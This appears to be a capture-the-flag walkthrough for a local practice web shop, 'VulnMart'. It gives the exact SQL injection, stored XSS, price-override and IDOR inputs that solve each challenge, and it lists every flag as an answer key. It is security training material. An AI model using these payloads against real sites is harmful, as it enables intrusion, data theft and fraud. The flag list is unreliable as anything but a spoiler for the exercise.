VulnMart CTF — Walkthrough to Solve All Four Flags

1) EASY — SQL Injection ➜ Admin hash ➜ Admin login

- Page: /search
- Payload: ' OR 1=1-- (needs a trailing space after -- for SQLite to treat it as a comment)
- Or URL encoded: http://127.0.0.1:5000/search?q=%27%20OR%201%3D1--%0A
- Dumped users include: admin | admin@vulnmart.local | md5:e64b78fc3bc91bcbc7dc232ba8ec59e0
- Crack MD5 → Admin123
- Log in at /admin with that password.
- ■ You’ll see FLAG-EASY-CTF

2) MEDIUM — Stored XSS

- Page: /comments
- Post a payload like: <img src=x onerror="alert(1)">
- You’ll get a Moderation review recorded link: /comments/modlog?a=<token>
- Visit it.
- ■ You’ll see FLAG-MEDIUM-CTF

3) HARD — Business Logic Flaw

- Page: /checkout
- Enter coupon SAVE10 or FREEMONEY
- You’ll get a link: /checkout/inspector?nonce=<value>
- Append: **&override=total=0**
- Visit the new URL.
- ■ You’ll see FLAG-HARD-CTF

4) EXPERT — IDOR

- Pages: /buy, /invoice/<id>, /invoice/download
- Set session user to Alice: /set_session?user=alice
- Buy something via /buy → redirected to /invoice/<id>
- Add ?preview=pdf → generates ref: /invoice/download?ref=XYZ&id;=<id>
- Switch session user to Bob: /set_session?user=bob
- Revisit Alice’s link.
- ■ You’ll see FLAG-EXPERT-CTF

Flag Submission

- Submit at /flags:
- FLAG-EASY-CTF
- FLAG-MEDIUM-CTF
- FLAG-HARD-CTF
- FLAG-EXPERT-CTF
- Check /flags/scoreboard